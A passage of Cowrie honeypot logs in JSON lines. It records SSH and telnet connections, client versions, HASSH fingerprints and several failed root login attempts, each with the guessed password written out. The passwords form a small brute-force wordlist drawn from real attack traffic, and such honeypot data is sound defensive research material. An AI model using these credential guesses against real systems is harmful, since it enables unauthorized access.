f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:46.154769Z","src_ip":"37.143.61.84","session":"26eb88533811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!1234","message":"login attempt [root/K0nig!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:46.638116Z","src_ip":"37.143.61.84","session":"26eb88533811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.076714277267456,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:47.505408Z","src_ip":"192.119.13.58","session":"a0aa12c9ab49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:47.725069Z","src_ip":"37.143.61.84","session":"26eb88533811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.7418110370636,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:49.264668Z","src_ip":"192.119.13.58","session":"4a94053b933e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512493133544922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:51.030254Z","src_ip":"192.119.13.58","session":"5de32ce84cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":43032,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7d66d0bbe5","protocol":"ssh","message":"New connection: 43.135.177.217:43032 (10.17.0.5:22) [session: ed7d66d0bbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:51.684813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:51.689736Z","src_ip":"43.135.177.217","session":"ed7d66d0bbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:51.759616Z","src_ip":"43.135.177.217","session":"ed7d66d0bbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198809","message":"login attempt [root/198809] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:52.067333Z","src_ip":"43.135.177.217","session":"ed7d66d0bbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:53.139220Z","src_ip":"43.135.177.217","session":"ed7d66d0bbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.381417989730835,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:54.090200Z","src_ip":"192.119.13.58","session":"b9a3d3345981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35774,"dst_ip":"10.17.0.5","dst_port":23,"session":"9210bc576d8b","protocol":"telnet","message":"New connection: 192.119.13.58:35774 (10.17.0.5:23) [session: 9210bc576d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:54.905323Z"}
{"eventid":"cowrie.session.closed","duration":41.5399386882782,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:55.230252Z","src_ip":"192.119.13.58","session":"c4a90f6b1d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":33400,"dst_ip":"159.203.135.109","dst_port":22,"session":"9549c8213b8c","protocol":"ssh","message":"New connection: 49.51.241.230:33400 (159.203.135.109:22) [session: 9549c8213b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:02.098291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:02.103976Z","src_ip":"49.51.241.230","session":"9549c8213b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:02.175588Z","src_ip":"49.51.241.230","session":"9549c8213b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd!@#","message":"login attempt [root/asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:02.477722Z","src_ip":"49.51.241.230","session":"9549c8213b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:03.549848Z","src_ip":"49.51.241.230","session":"9549c8213b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":46150,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1499a241707","protocol":"ssh","message":"New connection: 77.105.130.18:46150 (159.203.135.109:22) [session: f1499a241707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.127708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.134341Z","src_ip":"77.105.130.18","session":"f1499a241707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.231083Z","src_ip":"77.105.130.18","session":"f1499a241707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44724,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d92c8af3d4","protocol":"telnet","message":"New connection: 192.119.13.58:44724 (10.17.0.5:23) [session: 65d92c8af3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.331334Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":59434,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce1e6c4f6411","protocol":"ssh","message":"New connection: 43.135.176.251:59434 (159.203.135.109:22) [session: ce1e6c4f6411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.461363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.470310Z","src_ip":"43.135.176.251","session":"ce1e6c4f6411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.539400Z","src_ip":"43.135.176.251","session":"ce1e6c4f6411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.642530Z","src_ip":"77.105.130.18","session":"f1499a241707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:05.852924Z","src_ip":"43.135.176.251","session":"ce1e6c4f6411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:06.744132Z","src_ip":"77.105.130.18","session":"f1499a241707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:06.924541Z","src_ip":"43.135.176.251","session":"ce1e6c4f6411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36094,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5f50857b56","protocol":"telnet","message":"New connection: 192.119.13.58:36094 (10.17.0.5:23) [session: 0e5f50857b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:09.106901Z"}
{"eventid":"cowrie.session.closed","duration":0.005291938781738281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:09.112046Z","src_ip":"192.119.13.58","session":"0e5f50857b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.56471228599548,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:09.182049Z","src_ip":"192.119.13.58","session":"2099111c26ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":57638,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2ef8c4c875","protocol":"ssh","message":"New connection: 165.154.23.26:57638 (159.203.135.109:22) [session: 4a2ef8c4c875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:10.698896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:10.704331Z","src_ip":"165.154.23.26","session":"4a2ef8c4c875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:10.925119Z","src_ip":"165.154.23.26","session":"4a2ef8c4c875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiao123456","message":"login attempt [root/xiao123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:11.813808Z","src_ip":"165.154.23.26","session":"4a2ef8c4c875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:13.037295Z","src_ip":"165.154.23.26","session":"4a2ef8c4c875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.13165521621704,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:16.438176Z","src_ip":"192.119.13.58","session":"481e368ef8c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"3acd80258c02","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 3acd80258c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.146513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.151421Z","src_ip":"74.243.239.219","session":"3acd80258c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":60950,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbd1dd8bb864","protocol":"ssh","message":"New connection: 207.56.225.202:60950 (159.203.135.109:22) [session: dbd1dd8bb864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.243693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.249168Z","src_ip":"207.56.225.202","session":"dbd1dd8bb864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56736,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad0b66f90ae6","protocol":"ssh","message":"New connection: 37.233.85.71:56736 (159.203.135.109:22) [session: ad0b66f90ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.300273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.305642Z","src_ip":"37.233.85.71","session":"ad0b66f90ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.319531Z","src_ip":"74.243.239.219","session":"3acd80258c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:57:18.406587Z","src_ip":"37.233.85.71","session":"ad0b66f90ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes